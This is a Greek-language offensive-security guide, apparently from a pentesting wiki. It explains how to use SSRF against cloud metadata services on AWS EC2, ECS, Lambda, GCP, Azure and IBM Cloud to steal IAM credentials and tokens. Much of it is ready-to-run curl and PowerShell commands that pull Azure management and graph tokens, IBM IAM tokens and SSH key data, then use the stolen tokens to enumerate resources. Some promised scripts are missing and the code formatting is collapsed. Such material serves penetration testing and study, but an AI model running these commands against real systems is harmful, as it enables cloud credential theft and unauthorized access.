Το metadata endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτήν. Είναι προσβάσιμο στη διεύθυνση: http://169.254.169.254 (πληροφορίες για το metadata εδώ).
Υπάρχουν 2 εκδόσεις του metadata endpoint. Η πρώτη επιτρέπει την πρόσβαση στο endpoint μέσω GET αιτημάτων (έτσι οποιοδήποτε SSRF μπορεί να το εκμεταλλευτεί). Για την έκδοση 2, IMDSv2, πρέπει να ζητήσετε ένα token στέλνοντας ένα PUT αίτημα με ένα HTTP header και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι πιο περίπλοκο να εκμεταλλευτεί με ένα SSRF).
Σημειώστε ότι αν η EC2 instance επιβάλλει IMDSv2, σύμφωνα με τα έγγραφα, η απάντηση του PUT αιτήματος θα έχει ένα hop limit 1, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα container μέσα στην EC2 instance.
Επιπλέον, IMDSv2 θα μπλοκάρει επίσης αιτήματα για την ανάκτηση ενός token που περιλαμβάνουν το header X-Forwarded-For. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένους αντίστροφους proxy.
Μπορείτε να βρείτε πληροφορίες σχετικά με τα metadata endpoints στα έγγραφα. Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
Μπορείτε στη συνέχεια να πάρετε αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI. Αυτό θα σας επιτρέψει να κάνετε οτιδήποτε έχει άδεια αυτός ο ρόλος.
Για να εκμεταλλευτείτε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
Παρατηρήστε το aws_session_token, αυτό είναι απαραίτητο για να λειτουργήσει το προφίλ.
PACU μπορεί να χρησιμοποιηθεί με τα ανακαλυφθέντα διαπιστευτήρια για να ανακαλύψετε τα δικαιώματά σας και να προσπαθήσετε να κλιμακώσετε τα δικαιώματα.
SSRF σε AWS ECS (Container Service) διαπιστευτήρια
ECS, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε την υποδομή διαχείρισης του δικού σας cluster, επειδή το ECS το διαχειρίζεται αυτό για εσάς. Εάν καταφέρετε να παραβιάσετε την υπηρεσία που εκτελείται στο ECS, οι τελικές μεταδεδομένων αλλάζουν.
Εάν αποκτήσετε πρόσβαση στο http://169.254.170.2/v2/credentials/<GUID> θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να βρείτε το <GUID>. Για να βρείτε το <GUID> πρέπει να διαβάσετε τη μεταβλητή environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI μέσα στη μηχανή.
Θα μπορούσατε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια Path Traversal στο file:///proc/self/environ
Η αναφερόμενη διεύθυνση http θα πρέπει να σας δώσει το AccessKey, SecretKey και token.
Σημειώστε ότι σε ορισμένες περιπτώσεις θα μπορείτε να έχετε πρόσβαση στην μεταδεδομένα EC2 από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ θα μπορούσατε να έχετε πρόσβαση τόσο στον ρόλο IAM του κοντέινερ όσο και στον ρόλο IAM του EC2.
SSRF για AWS Lambda
Σε αυτή την περίπτωση οι διαπιστευτήρια αποθηκεύονται σε μεταβλητές περιβάλλοντος. Έτσι, για να τα αποκτήσετε, πρέπει να έχετε πρόσβαση σε κάτι όπως file:///proc/self/environ.
Το όνομα των ενδιαφερόντων μεταβλητών περιβάλλοντος είναι:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Επιπλέον, εκτός από τα διαπιστευτήρια IAM, οι λειτουργίες Lambda έχουν επίσης δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της διεπαφής χρόνου εκτέλεσης και θα μπορούσαν να περιέχουν ευαίσθητεςπληροφορίες (όπως μέσα στις stageVariables). Σε αντίθεση με τα διαπιστευτήρια IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο http://localhost:9001/2018-06-01/runtime/invocation/next.
Σημειώστε ότι τα διαπιστευτήρια lambda βρίσκονται μέσα στις μεταβλητές περιβάλλοντος. Έτσι, αν η στοίβα παρακολούθησης του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να εξαχθούν προκαλώντας ένα σφάλμα στην εφαρμογή.
Για να χρησιμοποιήσετε το εξαγόμενο διαπιστευτήριο υπηρεσίας μπορείτε απλά να κάνετε:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Δεν πρέπει να περιέχει μια κεφαλίδα X-Forwarded-For
Μια Azure VM μπορεί να έχει συσχετισμένη 1 ταυτότητα διαχειριζόμενη από το σύστημα και αρκετές ταυτότητες διαχειριζόμενες από τον χρήστη. Αυτό σημαίνει βασικά ότι μπορείτε να παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συσχετισμένες με μια VM.
Κατά προεπιλογή, το σημείο μεταδεδομένων θα χρησιμοποιεί την ταυτότητα MI που έχει ανατεθεί από το σύστημα (αν υπάρχει).
Δυστυχώς, δεν μπόρεσα να βρω κανένα σημείο μεταδεδομένων που να υποδεικνύει όλες τις MIs που έχει συσχετισμένες μια VM.
Επομένως, για να βρείτε όλες τις συσχετισμένες MIs μπορείτε να κάνετε:
Λάβετε συσχετισμένες ταυτότητες με az cli (αν έχετε ήδη παραβιάσει έναν κύριο στην Azure tenant)
Πάρτε συνδεδεμένες ταυτότητες χρησιμοποιώντας την προεπιλεγμένη συνδεδεμένη MI στα μεταδεδομένα:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Πάρτε όλα τα καθορισμένα διαχειριζόμενα ταυτοτικά στοιχεία στον ενοικιαστή και δοκιμάστε να δείτε αν κάποιο από αυτά είναι συνδεδεμένο με το VM:
azidentitylist
Στις αιτήσεις token χρησιμοποιήστε οποιαδήποτε από τις παραμέτρους object_id, client_id ή msi_res_id για να υποδείξετε την διαχειριζόμενη ταυτότητα που θέλετε να χρησιμοποιήσετε (docs). Αν καμία, θα χρησιμοποιηθεί η προεπιλεγμένη MI.
Από το env μπορείτε να πάρετε τις τιμές του IDENTITY_HEADERκαιIDENTITY_ENDPOINT. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# (Fingerprint) You should also be able to find the folder:ls/opt/microsoft# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"-HX-IDENTITY-HEADER:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2019-08-01"-HX-IDENTITY-HEADER:$IDENTITY_HEADER
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Σημειώστε ότι στην IBM, από προεπιλογή, τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορίες διαμόρφωσης και εκτέλεσης για τις παρουσίες. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.